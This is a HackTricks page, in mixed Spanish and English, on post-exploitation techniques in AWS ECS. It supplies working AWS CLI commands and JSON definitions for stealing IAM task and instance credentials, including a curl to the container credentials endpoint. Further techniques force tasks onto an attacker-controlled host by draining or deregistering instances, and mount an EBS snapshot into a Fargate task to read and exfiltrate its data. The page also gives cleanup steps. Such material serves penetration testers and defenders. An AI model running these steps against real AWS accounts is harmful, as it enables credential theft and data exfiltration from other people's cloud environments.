AWS - ECS Post Exploitation

Tip

Aprende y practica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks

ECS

Para más información revisa:

AWS - ECS Enum

Host IAM Roles

En ECS un IAM role puede ser asignado a la task que se ejecuta dentro del container. Si la task se ejecuta dentro de una instancia EC2, la instancia EC2 tendrá otro IAM role adjunto.
Lo que significa que si logras comprometer una instancia ECS puedes potencialmente obtener el IAM role asociado al ECR y a la instancia EC2. Para más info sobre cómo obtener esas credenciales revisa:

Cloud SSRF - HackTricks

Caution

IMDSv2 with a hop limit of 1 does not block awsvpc or host-networked tasks—only Docker bridge tasks sit far enough away for the responses to die. See ECS-on-EC2 IMDS Abuse & ECS Agent Impersonation for the full attack workflow and bypass notes. Recent Latacora research shows that awsvpc and host tasks still fetch host credentials even when IMDSv2+h=1 is enforced.

Privesc al nodo para robar creds & secrets de otros containers

Además, EC2 usa docker para ejecutar tasks de ECS, así que si puedes escapar al nodo o acceder al docker socket, puedes comprobar qué otros containers se están ejecutando, e incluso entrar en ellos y robar sus IAM roles adjuntos.

Forzar que los containers se ejecuten en el host actual

Además, el EC2 instance role normalmente tendrá suficientes permissions para actualizar el container instance state de las instancias EC2 usadas como nodos dentro del cluster. Un atacante podría modificar el state de una instancia a DRAINING, entonces ECS eliminará todas las tasks de ella y las que se estén ejecutando como REPLICA serán ejecutadas en una instancia diferente, potencialmente dentro de la instancia del atacante, para que pueda robar sus IAM roles y posible información sensible desde dentro del container.

aws ecs update-container-instances-state \
--cluster <cluster> --status DRAINING --container-instances <container-instance-id>

La misma técnica puede realizarse dando de baja la instancia EC2 del cluster. Esto es potencialmente menos sigiloso pero forzará que las tasks se ejecuten en otras instances:

aws ecs deregister-container-instance \
--cluster <cluster> --container-instance <container-instance-id> --force

Una técnica final para forzar la re-ejecución de tareas es indicar a ECS que la tarea o el contenedor se detuvo. Hay 3 APIs potenciales para hacer esto:

# Needs: ecs:SubmitTaskStateChange
aws ecs submit-task-state-change --cluster <value> \
--status STOPPED --reason "anything" --containers [...]

# Needs: ecs:SubmitContainerStateChange
aws ecs submit-container-state-change ...

# Needs: ecs:SubmitAttachmentStateChanges
aws ecs submit-attachment-state-changes ...

Unirse al Cluster con un host atacante (Register Container Instance)

Another variant (more direct than draining) is to add capacity you control into the cluster by registering an EC2 instance as a container instance (ecs:RegisterContainerInstance) and setting the required container instance attributes so placement constraints match. Once tasks land on your host, you can inspect/exec into containers and harvest AWS_CONTAINER_CREDENTIALS_RELATIVE_URI credentials.

See the ECS privesc page section on ecs:RegisterContainerInstance for the full workflow.

Robar información sensible de contenedores ECR

The EC2 instance will probably also have the permission ecr:GetAuthorizationToken allowing it to download images (you could search for sensitive info in them).

Robar credenciales de Task Role vía ecs:ExecuteCommand

If ExecuteCommand is enabled on a task, a principal with ecs:ExecuteCommand + ecs:DescribeTasks can open a shell inside the running container and then query the task credentials endpoint to harvest the task role credentials:

  • From inside the container: curl -s "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"
  • Use the returned AccessKeyId/SecretAccessKey/Token to call AWS APIs as the task role

See the ECS privilege escalation page for enumeration and command examples.

Montar un snapshot de EBS directamente en una task de ECS (configuredAtLaunch + volumeConfigurations)

Abuse the native ECS EBS integration (2024+) to mount the contents of an existing EBS snapshot directly inside a new ECS task/service and read its data from inside the container.

  • Requisitos (mínimos):

  • ecs:RegisterTaskDefinition

  • One of: ecs:RunTask OR ecs:CreateService/ecs:UpdateService

  • iam:PassRole en:

  • ECS infrastructure role used for volumes (policy: service-role/AmazonECSInfrastructureRolePolicyForVolumes)

  • Task execution/Task roles referenced by the task definition

  • If the snapshot is encrypted with a CMK: KMS permissions for the infra role (the AWS managed policy above includes the required KMS grants for AWS managed keys).

  • Impacto: Leer contenidos arbitrarios del disco desde el snapshot (p. ej., archivos de base de datos) dentro del contenedor y exfiltrar vía red/logs.

Pasos (ejemplo Fargate):

  1. Create the ECS infrastructure role (if it doesn’t exist) and attach the managed policy:
aws iam create-role --role-name ecsInfrastructureRole \
--assume-role-policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Principal":{"Service":"ecs.amazonaws.com"},"Action":"sts:AssumeRole"}]}'
aws iam attach-role-policy --role-name ecsInfrastructureRole \
--policy-arn arn:aws:iam::aws:policy/service-role/AmazonECSInfrastructureRolePolicyForVolumes
  1. Registra una task definition con un volumen marcado configuredAtLaunch y móntalo en el contenedor. Ejemplo (imprime el secreto y luego duerme):
{
"family": "ht-ebs-read",
"networkMode": "awsvpc",
"requiresCompatibilities": ["FARGATE"],
"cpu": "256",
"memory": "512",
"executionRoleArn": "arn:aws:iam::<ACCOUNT_ID>:role/ecsTaskExecutionRole",
"containerDefinitions": [
{"name":"reader","image":"public.ecr.aws/amazonlinux/amazonlinux:latest",
"entryPoint":["/bin/sh","-c"],
"command":["cat /loot/secret.txt || true; sleep 3600"],
"logConfiguration":{"logDriver":"awslogs","options":{"awslogs-region":"us-east-1","awslogs-group":"/ht/ecs/ebs","awslogs-stream-prefix":"reader"}},
"mountPoints":[{"sourceVolume":"loot","containerPath":"/loot","readOnly":true}]
}
],
"volumes": [ {"name":"loot", "configuredAtLaunch": true} ]
}
  1. Crear o actualizar un servicio pasando el snapshot de EBS vía volumeConfigurations.managedEBSVolume (requiere iam:PassRole en el rol de infraestructura). Ejemplo:
{
"cluster": "ht-ecs-ebs",
"serviceName": "ht-ebs-svc",
"taskDefinition": "ht-ebs-read",
"desiredCount": 1,
"launchType": "FARGATE",
"networkConfiguration": {"awsvpcConfiguration":{"assignPublicIp":"ENABLED","subnets":["subnet-xxxxxxxx"],"securityGroups":["sg-xxxxxxxx"]}},
"volumeConfigurations": [
{"name":"loot","managedEBSVolume": {"roleArn":"arn:aws:iam::<ACCOUNT_ID>:role/ecsInfrastructureRole", "snapshotId":"snap-xxxxxxxx", "filesystemType":"ext4"}}
]
}
  1. Cuando la tarea se inicia, el contenedor puede leer el contenido del snapshot en la ruta de montaje configurada (p. ej., /loot). Exfiltrate via the task’s network/logs.

Limpieza:

aws ecs update-service --cluster ht-ecs-ebs --service ht-ebs-svc --desired-count 0
aws ecs delete-service --cluster ht-ecs-ebs --service ht-ebs-svc --force
aws ecs deregister-task-definition ht-ebs-read

Referencias

Tip

Aprende y practica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks